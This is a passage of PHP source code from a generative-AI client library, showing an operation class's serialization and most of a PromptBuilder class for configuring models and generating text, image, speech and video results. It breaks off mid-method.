=> ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'const' => OperationStateEnum::succeeded()->value], self::KEY_RESULT => GenerativeAiResult::getJsonSchema()], 'required' => [self::KEY_ID, self::KEY_STATE, self::KEY_RESULT], 'additionalProperties' => \false], // All other states - no result ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'enum' => [OperationStateEnum::starting()->value, OperationStateEnum::processing()->value, OperationStateEnum::failed()->value, OperationStateEnum::canceled()->value], 'description' => 'The current state of the operation.']], 'required' => [self::KEY_ID, self::KEY_STATE], 'additionalProperties' => \false], ]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return GenerativeAiOperationArrayShape */ public function toArray(): array { $data = [self::KEY_ID => $this->id, self::KEY_STATE => $this->state->value]; if ($this->result !== null) { $data[self::KEY_RESULT] = $this->result->toArray(); } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ID, self::KEY_STATE]); $state = OperationStateEnum::from($array[self::KEY_STATE]); if ($state->isSucceeded()) { // If the operation has succeeded, it must have a result static::validateFromArrayData($array, [self::KEY_RESULT]); } $result = null; if (isset($array[self::KEY_RESULT])) { $result = GenerativeAiResult::fromArray($array[self::KEY_RESULT]); } return new self($array[self::KEY_ID], $state, $result); } } Operations/Contracts/OperationInterface.php000064400000001413152076731270015132 0ustar00|list|null */ class PromptBuilder { /** * @var ProviderRegistry The provider registry for finding suitable models. */ private ProviderRegistry $registry; /** * @var list The messages in the conversation. */ protected array $messages = []; /** * @var ModelInterface|null The model to use for generation. */ protected ?ModelInterface $model = null; /** * @var list Ordered list of preference keys to check when selecting a model. */ protected array $modelPreferenceKeys = []; /** * @var string|null The provider ID or class name. */ protected ?string $providerIdOrClassName = null; /** * @var ModelConfig The model configuration. */ protected ModelConfig $modelConfig; /** * @var RequestOptions|null The request options for HTTP transport. */ protected ?RequestOptions $requestOptions = null; /** * @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events. */ private ?EventDispatcherInterface $eventDispatcher = null; // phpcs:disable Generic.Files.LineLength.TooLong /** * Constructor. * * @since 0.1.0 * * @param ProviderRegistry $registry The provider registry for finding suitable models. * @param Prompt $prompt Optional initial prompt content. * @param EventDispatcherInterface|null $eventDispatcher Optional event dispatcher for lifecycle events. */ // phpcs:enable Generic.Files.LineLength.TooLong public function __construct(ProviderRegistry $registry, $prompt = null, ?EventDispatcherInterface $eventDispatcher = null) { $this->registry = $registry; $this->modelConfig = new ModelConfig(); $this->eventDispatcher = $eventDispatcher; if ($prompt === null) { return; } // Check if it's a list of Messages - set as messages if ($this->isMessagesList($prompt)) { $this->messages = $prompt; return; } // Parse it as a user message $userMessage = $this->parseMessage($prompt, MessageRoleEnum::user()); $this->messages[] = $userMessage; } /** * Creates a deep clone of this builder. * * Clones all mutable state including messages, model configuration, and request options. * Service objects (registry, model, event dispatcher) are intentionally NOT cloned * as they are shared dependencies. * * @since 0.4.2 */ public function __clone() { // Deep clone messages array (Message has __clone) $clonedMessages = []; foreach ($this->messages as $message) { $clonedMessages[] = clone $message; } $this->messages = $clonedMessages; // Clone model config (ModelConfig has __clone) $this->modelConfig = clone $this->modelConfig; // Clone request options if set (contains only primitives) if ($this->requestOptions !== null) { $this->requestOptions = clone $this->requestOptions; } // Note: $registry, $model, and $eventDispatcher are service objects // and are intentionally NOT cloned - they should be shared references. } /** * Adds text to the current message. * * @since 0.1.0 * * @param string $text The text to add. * @return self */ public function withText(string $text): self { $part = new MessagePart($text); $this->appendPartToMessages($part); return $this; } /** * Adds a file to the current message. * * Accepts: * - File object * - URL string (remote file) * - Base64-encoded data string * - Data URI string (data:mime/type;base64,data) * - Local file path string * * @since 0.1.0 * * @param string|File $file The file (File object or string representation). * @param string|null $mimeType The MIME type (optional, ignored if File object provided). * @return self * @throws InvalidArgumentException If the file is invalid or MIME type cannot be determined. */ public function withFile($file, ?string $mimeType = null): self { $file = $file instanceof File ? $file : new File($file, $mimeType); $part = new MessagePart($file); $this->appendPartToMessages($part); return $this; } /** * Adds a function response to the current message. * * @since 0.1.0 * * @param FunctionResponse $functionResponse The function response. * @return self */ public function withFunctionResponse(FunctionResponse $functionResponse): self { $part = new MessagePart($functionResponse); $this->appendPartToMessages($part); return $this; } /** * Adds message parts to the current message. * * @since 0.1.0 * * @param MessagePart ...$parts The message parts to add. * @return self */ public function withMessageParts(MessagePart ...$parts): self { foreach ($parts as $part) { $this->appendPartToMessages($part); } return $this; } /** * Adds conversation history messages. * * Historical messages are prepended to the beginning of the message list, * before the current message being built. * * @since 0.1.0 * * @param Message ...$messages The messages to add to history. * @return self */ public function withHistory(Message ...$messages): self { // Prepend the history messages to the beginning of the messages array $this->messages = array_merge($messages, $this->messages); return $this; } /** * Sets the model to use for generation. * * The model's configuration will be merged with the builder's configuration, * with the builder's configuration taking precedence for any overlapping settings. * * @since 0.1.0 * * @param ModelInterface $model The model to use. * @return self */ public function usingModel(ModelInterface $model): self { $this->model = $model; // Merge model's config with builder's config, with builder's config taking precedence $modelConfigArray = $model->getConfig()->toArray(); $builderConfigArray = $this->modelConfig->toArray(); $mergedConfigArray = array_merge($modelConfigArray, $builderConfigArray); $this->modelConfig = ModelConfig::fromArray($mergedConfigArray); return $this; } /** * Sets preferred models to evaluate in order. * * @since 0.2.0 * * @param string|ModelInterface|array{0:string,1:string} ...$preferredModels The preferred models as model IDs, * model instances, or [provider ID, model ID] tuples. For broader compatibility, it is recommended you specify * only model IDs or model instances, as that will allow for different providers that expose the same model to be * considered. * @return self * * @throws InvalidArgumentException When a preferred model has an invalid type or identifier. */ public function usingModelPreference(...$preferredModels): self { if ($preferredModels === []) { throw new InvalidArgumentException('At least one model preference must be provided.'); } $preferenceKeys = []; foreach ($preferredModels as $preferredModel) { if (is_array($preferredModel)) { // [model identifier, provider ID] tuple if (!array_is_list($preferredModel) || count($preferredModel) !== 2) { throw new InvalidArgumentException('Model preference tuple must contain model identifier and provider ID.'); } [$providerId, $modelId] = $preferredModel; $modelId = $this->normalizePreferenceIdentifier($modelId); $providerId = $this->normalizePreferenceIdentifier($providerId, 'Model preference provider identifiers cannot be empty.'); $preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId); } elseif ($preferredModel instanceof ModelInterface) { // Model instance $modelId = $preferredModel->metadata()->getId(); $providerId = $preferredModel->providerMetadata()->getId(); $preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId); } elseif (is_string($preferredModel)) { // Model ID $modelId = $this->normalizePreferenceIdentifier($preferredModel); $preferenceKey = $this->createModelPreferenceKey($modelId); } else { // Invalid type throw new InvalidArgumentException('Model preferences must be model identifiers, instances of ModelInterface, ' . 'or provider/model tuples.'); } $preferenceKeys[] = $preferenceKey; } $this->modelPreferenceKeys = $preferenceKeys; return $this; } /** * Sets the model configuration. * * Merges the provided configuration with the builder's configuration, * with builder configuration taking precedence. * * @since 0.1.0 * * @param ModelConfig $config The model configuration to merge. * @return self */ public function usingModelConfig(ModelConfig $config): self { // Convert both configs to arrays $builderConfigArray = $this->modelConfig->toArray(); $providedConfigArray = $config->toArray(); // Merge arrays with builder config taking precedence $mergedArray = array_merge($providedConfigArray, $builderConfigArray); // Create new config from merged array $this->modelConfig = ModelConfig::fromArray($mergedArray); return $this; } /** * Sets the provider to use for generation. * * @since 0.1.0 * * @param string $providerIdOrClassName The provider ID or class name. * @return self */ public function usingProvider(string $providerIdOrClassName): self { $this->providerIdOrClassName = $providerIdOrClassName; return $this; } /** * Sets the system instruction. * * System instructions are stored in the model configuration and guide * the AI model's behavior throughout the conversation. * * @since 0.1.0 * * @param string $systemInstruction The system instruction text. * @return self */ public function usingSystemInstruction(string $systemInstruction): self { $this->modelConfig->setSystemInstruction($systemInstruction); return $this; } /** * Sets the maximum number of tokens to generate. * * @since 0.1.0 * * @param int $maxTokens The maximum number of tokens. * @return self */ public function usingMaxTokens(int $maxTokens): self { $this->modelConfig->setMaxTokens($maxTokens); return $this; } /** * Sets the temperature for generation. * * @since 0.1.0 * * @param float $temperature The temperature value. * @return self */ public function usingTemperature(float $temperature): self { $this->modelConfig->setTemperature($temperature); return $this; } /** * Sets the top-p value for generation. * * @since 0.1.0 * * @param float $topP The top-p value. * @return self */ public function usingTopP(float $topP): self { $this->modelConfig->setTopP($topP); return $this; } /** * Sets the top-k value for generation. * * @since 0.1.0 * * @param int $topK The top-k value. * @return self */ public function usingTopK(int $topK): self { $this->modelConfig->setTopK($topK); return $this; } /** * Sets stop sequences for generation. * * @since 0.1.0 * * @param string ...$stopSequences The stop sequences. * @return self */ public function usingStopSequences(string ...$stopSequences): self { $this->modelConfig->setStopSequences($stopSequences); return $this; } /** * Sets the number of candidates to generate. * * @since 0.1.0 * * @param int $candidateCount The number of candidates. * @return self */ public function usingCandidateCount(int $candidateCount): self { $this->modelConfig->setCandidateCount($candidateCount); return $this; } /** * Sets the function declarations available to the model. * * @since 0.1.0 * * @param FunctionDeclaration ...$functionDeclarations The function declarations. * @return self */ public function usingFunctionDeclarations(FunctionDeclaration ...$functionDeclarations): self { $this->modelConfig->setFunctionDeclarations($functionDeclarations); return $this; } /** * Sets the presence penalty for generation. * * @since 0.1.0 * * @param float $presencePenalty The presence penalty value. * @return self */ public function usingPresencePenalty(float $presencePenalty): self { $this->modelConfig->setPresencePenalty($presencePenalty); return $this; } /** * Sets the frequency penalty for generation. * * @since 0.1.0 * * @param float $frequencyPenalty The frequency penalty value. * @return self */ public function usingFrequencyPenalty(float $frequencyPenalty): self { $this->modelConfig->setFrequencyPenalty($frequencyPenalty); return $this; } /** * Sets the web search configuration. * * @since 0.1.0 * * @param WebSearch $webSearch The web search configuration. * @return self */ public function usingWebSearch(WebSearch $webSearch): self { $this->modelConfig->setWebSearch($webSearch); return $this; } /** * Sets the request options for HTTP transport. * * @since 0.3.0 * * @param RequestOptions $requestOptions The request options. * @return self */ public function usingRequestOptions(RequestOptions $requestOptions): self { $this->requestOptions = $requestOptions; return $this; } /** * Sets the top log probabilities configuration. * * If $topLogprobs is null, enables log probabilities. * If $topLogprobs has a value, enables log probabilities and sets the number of top log probabilities to return. * * @since 0.1.0 * * @param int|null $topLogprobs The number of top log probabilities to return, or null to enable log probabilities. * @return self */ public function usingTopLogprobs(?int $topLogprobs = null): self { // Always enable log probabilities $this->modelConfig->setLogprobs(\true); // If a specific number is provided, set it if ($topLogprobs !== null) { $this->modelConfig->setTopLogprobs($topLogprobs); } return $this; } /** * Sets the output MIME type. * * @since 0.1.0 * * @param string $mimeType The MIME type. * @return self */ public function asOutputMimeType(string $mimeType): self { $this->modelConfig->setOutputMimeType($mimeType); return $this; } /** * Sets the output schema. * * @since 0.1.0 * * @param array $schema The output schema. * @return self */ public function asOutputSchema(array $schema): self { $this->modelConfig->setOutputSchema($schema); return $this; } /** * Sets the output modalities. * * @since 0.1.0 * * @param ModalityEnum ...$modalities The output modalities. * @return self */ public function asOutputModalities(ModalityEnum ...$modalities): self { $this->modelConfig->setOutputModalities($modalities); return $this; } /** * Sets the output file type. * * @since 0.1.0 * * @param FileTypeEnum $fileType The output file type. * @return self */ public function asOutputFileType(FileTypeEnum $fileType): self { $this->modelConfig->setOutputFileType($fileType); return $this; } /** * Sets the output media orientation. * * @since 1.3.0 * * @param MediaOrientationEnum $orientation The output media orientation. * @return self */ public function asOutputMediaOrientation(MediaOrientationEnum $orientation): self { $this->modelConfig->setOutputMediaOrientation($orientation); return $this; } /** * Sets the output media aspect ratio. * * If set, this supersedes the output media orientation, as it is a more * specific configuration. * * @since 1.3.0 * * @param string $aspectRatio The aspect ratio (e.g. "16:9", "3:2"). * @return self */ public function asOutputMediaAspectRatio(string $aspectRatio): self { $this->modelConfig->setOutputMediaAspectRatio($aspectRatio); return $this; } /** * Sets the output speech voice. * * @since 1.3.0 * * @param string $voice The output speech voice. * @return self */ public function asOutputSpeechVoice(string $voice): self { $this->modelConfig->setOutputSpeechVoice($voice); return $this; } /** * Configures the prompt for JSON response output. * * @since 0.1.0 * * @param array|null $schema Optional JSON schema. * @return self */ public function asJsonResponse(?array $schema = null): self { $this->asOutputMimeType('application/json'); if ($schema !== null) { $this->asOutputSchema($schema); } return $this; } /** * Infers the capability from configured output modalities. * * @since 0.1.0 * * @return CapabilityEnum The inferred capability. * @throws RuntimeException If the output modality is not supported. */ private function inferCapabilityFromOutputModalities(): CapabilityEnum { // Get the configured output modalities $outputModalities = $this->modelConfig->getOutputModalities(); // Default to text if no output modality is specified if ($outputModalities === null || empty($outputModalities)) { return CapabilityEnum::textGeneration(); } // Multi-modal output (multiple modalities) defaults to text generation. This is temporary // as a multi-modal interface will be implemented in the future. if (count($outputModalities) > 1) { return CapabilityEnum::textGeneration(); } // Infer capability from single output modality $outputModality = $outputModalities[0]; if ($outputModality->isText()) { return CapabilityEnum::textGeneration(); } elseif ($outputModality->isImage()) { return CapabilityEnum::imageGeneration(); } elseif ($outputModality->isAudio()) { return CapabilityEnum::speechGeneration(); } elseif ($outputModality->isVideo()) { return CapabilityEnum::videoGeneration(); } else { // For unsupported modalities, provide a clear error message throw new RuntimeException(sprintf('Output modality "%s" is not yet supported.', $outputModality->value)); } } /** * Infers the capability from a model's implemented interfaces. * * @since 0.1.0 * * @param ModelInterface $model The model to infer capability from. * @return CapabilityEnum|null The inferred capability, or null if none can be inferred. */ private function inferCapabilityFromModelInterfaces(ModelInterface $model): ?CapabilityEnum { // Check model interfaces in order of preference if ($model instanceof TextGenerationModelInterface) { return CapabilityEnum::textGeneration(); } if ($model instanceof ImageGenerationModelInterface) { return CapabilityEnum::imageGeneration(); } if ($model instanceof TextToSpeechConversionModelInterface) { return CapabilityEnum::textToSpeechConversion(); } if ($model instanceof SpeechGenerationModelInterface) { return CapabilityEnum::speechGeneration(); } if ($model instanceof VideoGenerationModelInterface) { return CapabilityEnum::videoGeneration(); } // No supported interface found return null; } /** * Checks if the current prompt is supported by the selected model. * * @since 0.1.0 * @since 0.3.0 Method visibility changed to public. * * @param CapabilityEnum|null $capability Optional capability to check support for. * @return bool True if supported, false otherwise. */ public function isSupported(?CapabilityEnum $capability = null): bool { // If no intended capability provided, infer from output modalities if ($capability === null) { // First try to infer from a specific model if one is set if ($this->model !== null) { $inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model); if ($inferredCapability !== null) { $capability = $inferredCapability; } } // If still no capability, infer from output modalities if ($capability === null) { $capability = $this->inferCapabilityFromOutputModalities(); } } // Build requirements with the specified capability $requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig); // If the model has been set, check if it meets the requirements if ($this->model !== null) { return $requirements->areMetBy($this->model->metadata()); } try { // Check if any models support these requirements $models = $this->registry->findModelsMetadataForSupport($requirements); return !empty($models); } catch (InvalidArgumentException $e) { // No models support the requirements return \false; } } /** * Checks if the prompt is supported for text generation. * * @since 0.1.0 * * @return bool True if text generation is supported. */ public function isSupportedForTextGeneration(): bool { return $this->isSupported(CapabilityEnum::textGeneration()); } /** * Checks if the prompt is supported for image generation. * * @since 0.1.0 * * @return bool True if image generation is supported. */ public function isSupportedForImageGeneration(): bool { return $this->isSupported(CapabilityEnum::imageGeneration()); } /** * Checks if the prompt is supported for text to speech conversion. * * @since 0.1.0 * * @return bool True if text to speech conversion is supported. */ public function isSupportedForTextToSpeechConversion(): bool { return $this->isSupported(CapabilityEnum::textToSpeechConversion()); } /** * Checks if the prompt is supported for video generation. * * @since 0.1.0 * * @return bool True if video generation is supported. */ public function isSupportedForVideoGeneration(): bool { return $this->isSupported(CapabilityEnum::videoGeneration()); } /** * Checks if the prompt is supported for speech generation. * * @since 0.1.0 * * @return bool True if speech generation is supported. */ public function isSupportedForSpeechGeneration(): bool { return $this->isSupported(CapabilityEnum::speechGeneration()); } /** * Checks if the prompt is supported for music generation. * * @since 0.1.0 * * @return bool True if music generation is supported. */ public function isSupportedForMusicGeneration(): bool { return $this->isSupported(CapabilityEnum::musicGeneration()); } /** * Checks if the prompt is supported for embedding generation. * * @since 0.1.0 * * @return bool True if embedding generation is supported. */ public function isSupportedForEmbeddingGeneration(): bool { return $this->isSupported(CapabilityEnum::embeddingGeneration()); } /** * Generates a result from the prompt. * * This is the primary execution method that generates a result (containing * potentially multiple candidates) based on the specified capability or * the configured output modality. * * @since 0.1.0 * * @param CapabilityEnum|null $capability Optional capability to use for generation. * If null, capability is inferred from output modality. * @return GenerativeAiResult The generated result containing candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support the required capability. */ public function generateResult(?CapabilityEnum $capability = null): GenerativeAiResult { $this->validateMessages(); // If capability is not provided, infer it if ($capability === null) { // First try to infer from a specific model if one is set if ($this->model !== null) { $inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model); if ($inferredCapability !== null) { $capability = $inferredCapability; } } // If still no capability, infer from output modalities if ($capability === null) { $capability = $this->inferCapabilityFromOutputModalities(); } } $model = $this->getConfiguredModel($capability); // Dispatch BeforeGenerateResultEvent $this->dispatchEvent(new BeforeGenerateResultEvent($this->messages, $model, $capability)); // Route to the appropriate generation method based on capability $result = $this->executeModelGeneration($model, $capability, $this->messages); // Dispatch AfterGenerateResultEvent $this->dispatchEvent(new AfterGenerateResultEvent($this->messages, $model, $capability, $result)); return $result; } /** * Executes the model generation based on capability. * * @since 0.4.0 * * @param ModelInterface $model The model to use for generation. * @param CapabilityEnum $capability The capability to use. * @param list $messages The messages to send. * @return GenerativeAiResult The generated result. * @throws RuntimeException If the model doesn't support the required capability. */ private function executeModelGeneration(ModelInterface $model, CapabilityEnum $capability, array $messages): GenerativeAiResult { if ($capability->isTextGeneration()) { if (!$model instanceof TextGenerationModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support text generation.', $model->metadata()->getId())); } return $model->generateTextResult($messages); } if ($capability->isImageGeneration()) { if (!$model instanceof ImageGenerationModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support image generation.', $model->metadata()->getId())); } return $model->generateImageResult($messages); } if ($capability->isTextToSpeechConversion()) { if (!$model instanceof TextToSpeechConversionModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support text-to-speech conversion.', $model->metadata()->getId())); } return $model->convertTextToSpeechResult($messages); } if ($capability->isSpeechGeneration()) { if (!$model instanceof SpeechGenerationModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support speech generation.', $model->metadata()->getId())); } return $model->generateSpeechResult($messages); } if ($capability->isVideoGeneration()) { if (!$model instanceof VideoGenerationModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support video generation.', $model->metadata()->getId())); } return $model->generateVideoResult($messages); } // TODO: Add support for other capabilities when interfaces are available throw new RuntimeException(sprintf('Capability "%s" is not yet supported for generation.', $capability->value)); } /** * Generates a text result from the prompt. * * @since 0.1.0 * * @return GenerativeAiResult The generated result containing text candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support text generation. */ public function generateTextResult(): GenerativeAiResult { // Include text in output modalities $this->includeOutputModalities(ModalityEnum::text()); // Generate and return the result with text generation capability return $this->generateResult(CapabilityEnum::textGeneration()); } /** * Generates an image result from the prompt. * * @since 0.1.0 * * @return GenerativeAiResult The generated result containing image candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support image generation. */ public function generateImageResult(): GenerativeAiResult { // Include image in output modalities $this->includeOutputModalities(ModalityEnum::image()); // Generate and return the result with image generation capability return $this->generateResult(CapabilityEnum::imageGeneration()); } /** * Generates a speech result from the prompt. * * @since 0.1.0 * * @return GenerativeAiResult The generated result containing speech audio candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support speech generation. */ public function generateSpeechResult(): GenerativeAiResult { // Include audio in output modalities $this->includeOutputModalities(ModalityEnum::audio()); // Generate and return the result with speech generation capability return $this->generateResult(CapabilityEnum::speechGeneration()); } /** * Converts text to speech and returns the result. * * @since 0.1.0 * * @return GenerativeAiResult The generated result containing speech audio candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support text-to-speech conversion. */ public function convertTextToSpeechResult(): GenerativeAiResult { // Include audio in output modalities $this->includeOutputModalities(ModalityEnum::audio()); // Generate and return the result with text-to-speech conversion capability return $this->generateResult(CapabilityEnum::textToSpeechConversion()); } /** * Generates a video result from the prompt. * * @since 1.3.0 * * @return GenerativeAiResult The generated result containing video candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support video generation. */ public function generateVideoResult(): GenerativeAiResult { // Include video in output modalities $this->includeOutputModalities(ModalityEnum::video()); // Generate and return the result with video generation capability return $this->generateResult(CapabilityEnum::videoGeneration()); } /** * Generates text from the prompt. * * @since 0.1.0 * * @return string The generated text. * @throws InvalidArgumentException If the prompt or model validation fails. */ public function generateText(): string { return $this->generateTextResult()->toText(); } /** * Generates multiple text candidates from the prompt. * * @since 0.1.0 * * @param int|null $candidateCount The number of candidates to generate. * @return list The generated texts. * @throws InvalidArgumentException If the prompt or model validation fails. */ public function generateTexts(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } // Generate text result return $this->generateTextResult()->toTexts(); } /** * Generates an image from the prompt. * * @since 0.1.0 * * @return File The generated image file. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no image is generated. */ public function generateImage(): File { return $this->generateImageResult()->toFile(); } /** * Generates multiple images from the prompt. * * @since 0.1.0 * * @param int|null $candidateCount The number of images to generate. * @return list The generated image files. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no images are generated. */ public function generateImages(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } return $this->generateImageResult()->toFiles(); } /** * Converts text to speech. * * @since 0.1.0 * * @return File The generated speech audio file. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no audio is generated. */ public function convertTextToSpeech(): File { return $this->convertTextToSpeechResult()->toFile(); } /** * Converts text to multiple speech outputs. * * @since 0.1.0 * * @param int|null $candidateCount The number of speech outputs to generate. * @return list The generated speech audio files. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no audio is generated. */ public function convertTextToSpeeches(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } return $this->convertTextToSpeechResult()->toFiles(); } /** * Generates speech from the prompt. * * @since 0.1.0 * * @return File The generated speech audio file. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no audio is generated. */ public function generateSpeech(): File { return $this->generateSpeechResult()->toFile(); } /** * Generates multiple speech outputs from the prompt. * * @since 0.1.0 * * @param int|null $candidateCount The number of speech outputs to generate. * @return list The generated speech audio files. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no audio is generated. */ public function generateSpeeches(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } return $this->generateSpeechResult()->toFiles(); } /** * Generates a video from the prompt. * * @since 1.3.0 * * @return File The generated video file. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no video is generated. */ public function generateVideo(): File { return $this->generateVideoResult()->toFile(); } /** * Generates multiple videos from the prompt. * * @since 1.3.0 * * @param int|null $candidateCount The number of videos to generate. * @return list The generated video files. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no videos are generated. */ public function generateVideos(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } return $this->generateVideoResult()->toFiles(); } /** * Appends a MessagePart to the messages array. * * If the last message has a user role, the part is added to it. * Otherwise, a new UserMessage is created with the part. * * @since 0.1.0 * * @param MessagePart $part The part to append. * @return void */ protected function appendPartToMessages(MessagePart $part): void { $lastMessage = end($this->messages); if ($lastMessage instanceof Message && $lastMessage->getRole()->isUser()) { // Replace the last message with a new one containing the appended part array_pop($this->messages); $this->messages[] = $lastMessage->withPart($part); return; } // Create new UserMessage with the part $this->messages[] = new UserMessage([$part]); } /** * Gets the model to use for generation. * * If a model has been explicitly set, validates it meets requirements and returns it. * Otherwise, finds a suitable model based on the prompt requirements. * * @since 0.1.0 * * @param CapabilityEnum $capability The capability the model will be using. * @return ModelInterface The model to use. * @throws InvalidArgumentException If no suitable model is found or set model doesn't meet requirements. */ private function getConfiguredModel(CapabilityEnum $capability): ModelInterface { $requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig); if ($this->model !== null) { // Explicit model was provided via usingModel(); just update config and bind dependencies. $model = $this->model; $model->setConfig($this->modelConfig); $this->registry->bindModelDependencies($model); $this->bindModelRequestOptions($model); return $model; } // Retrieve the candidate models map which satisfies the requirements. $candidateMap = $this->getCandidateModelsMap($requirements); if (empty($candidateMap)) { $message = sprintf('No models found that support %s for this prompt.', $capability->value); if ($this->providerIdOrClassName !== null) { $message = sprintf('No models found for provider "%s" that support %s for this prompt.', $this->providerIdOrClassName, $capability->value); } throw new InvalidArgumentException($message); } // Check if any preferred models match the candidates, in priority order. if (!empty($this->modelPreferenceKeys)) { // Find preferences that match available candidates, preserving preference order. $matchingPreferences = array_intersect_key(array_flip($this->modelPreferenceKeys), $candidateMap); if (!empty($matchingPreferences)) { // Get the first matching preference key $firstMatchKey = key($matchingPreferences); [$providerId, $modelId] = $candidateMap[$firstMatchKey]; $model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig); $this->bindModelRequestOptions($model); return $model; } } // No preference matched; fall back to the first candidate discovered. [$providerId, $modelId] = reset($candidateMap); $model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig); $this->bindModelRequestOptions($model); return $model; } /** * Binds configured request options to the model if present and supported. * * Request options are only applicable to API-based models that make HTTP requests. * * @since 0.3.0 * * @param ModelInterface $model The model to bind request options to. * @return void */ private function bindModelRequestOptions(ModelInterface $model): void { if ($this->requestOptions !== null && $model instanceof ApiBasedModelInterface) { $model->setRequestOptions($this->requestOptions); } } /** * Builds a map of candidate models that satisfy the requirements for efficient lookup. * * @since 0.2.0 * * @param ModelRequirements $requirements The requirements derived from the prompt. * @return array Map of preference keys to [providerId, modelId] tuples. */ private function getCandidateModelsMap(ModelRequirements $requirements): array { if ($this->providerIdOrClassName === null) { // No provider locked in, gather all models across providers that meet requirements. $providerModelsMetadata = $this->registry->findModelsMetadataForSupport($requirements); $candidateMap = []; foreach ($providerModelsMetadata as $providerModels) { $providerId = $providerModels->getProvider()->getId(); $providerMap = $this->generateMapFromCandidates($providerId, $providerModels->getModels()); // Use + operator to merge, preserving keys from $candidateMap (first provider wins for model-only keys) $candidateMap = $candidateMap + $providerMap; } return $candidateMap; } // Provider set, only consider models from that provider. $modelsMetadata = $this->registry->findProviderModelsMetadataForSupport($this->providerIdOrClassName, $requirements); // Ensure we pass the provider ID, not the class name $providerId = $this->registry->getProviderId($this->providerIdOrClassName); return $this->generateMapFromCandidates($providerId, $modelsMetadata); } /** * Generates a candidate map from model metadata with both provider-specific and model-only keys. * * @since 0.2.0 * * @param string $providerId The provider ID. * @param list $modelsMetadata The models metadata to map. * @return array Map of preference keys to [providerId, modelId] tuples. */ private function generateMapFromCandidates(string $providerId, array $modelsMetadata): array { $map = []; foreach ($modelsMetadata as $modelMetadata) { $modelId = $modelMetadata->getId(); // Add provider-specific key $providerModelKey = $this->createProviderModelPreferenceKey($providerId, $modelId); $map[$providerModelKey] = [$providerId, $modelId]; // Add model-only key $modelKey = $this->createModelPreferenceKey($modelId); $map[$modelKey] = [$providerId, $modelId]; } return $map; } /** * Normalizes and validates a preference identifier string. * * @since 0.2.0 * * @param mixed $value The value to normalize. * @param string $emptyMessage The message for empty or invalid values. * @return string The normalized identifier. * * @throws InvalidArgumentException If the value is not a non-empty string. */ private function normalizePreferenceIdentifier($value, string $emptyMessage = 'Model preference identifiers cannot be empty.'): string { if (!is_string($value)) { throw new InvalidArgumentException($emptyMessage); } $trimmed = trim($value); if ($trimmed === '') { throw new InvalidArgumentException($emptyMessage); } return $trimmed; } /** * Creates a preference key for a provider/model combination. * * @since 0.2.0 * * @param string $providerId The provider identifier. * @param string $modelId The model identifier. * @return string The generated preference key. */ private function createProviderModelPreferenceKey(string $providerId, string $modelId): string { return 'providerModel::' . $providerId . '::' . $modelId; } /** * Creates a preference key for a model identifier. * * @since 0.2.0 * * @param string $modelId The model identifier. * @return string The generated preference key. */ private function createModelPreferenceKey(string $modelId): string { return 'model::' . $modelId; } /** * Parses various input types into a Message with the given role. * * @since 0.1.0 * * @param mixed $input The input to parse. * @param MessageRoleEnum $defaultRole The role for the message if not specified by input. * @return Message The parsed message. * @throws InvalidArgumentException If the input type is not supported or results in empty message. */ private function parseMessage($input, MessageRoleEnum $defaultRole): Message { // Handle Message input directly if ($input instanceof Message) { return $input; } // Handle single MessagePart if ($input instanceof MessagePart) { return new Message($defaultRole, [$input]); } // Handle string input if (is_string($input)) { if (trim($input) === '') { throw new InvalidArgumentException('Cannot create a message from an empty string.'); } return new Message($defaultRole, [new MessagePart($input)]); } // Handle array input if (!is_array($input)) { throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, ' . 'a list of string|MessagePart|MessagePartArrayShape, or a Message instance.'); } // Handle MessageArrayShape input if (Message::isArrayShape($input)) { return Message::fromArray($input); } // Check if it's a MessagePartArrayShape if (MessagePart::isArrayShape($input)) { return new Message($defaultRole, [MessagePart::fromArray($input)]); } // It should be a list of string|MessagePart|MessagePartArrayShape if (!array_is_list($input)) { throw new InvalidArgumentException('Array input must be a list array.'); } // Empty array check if (empty($input)) { throw new InvalidArgumentException('Cannot create a message from an 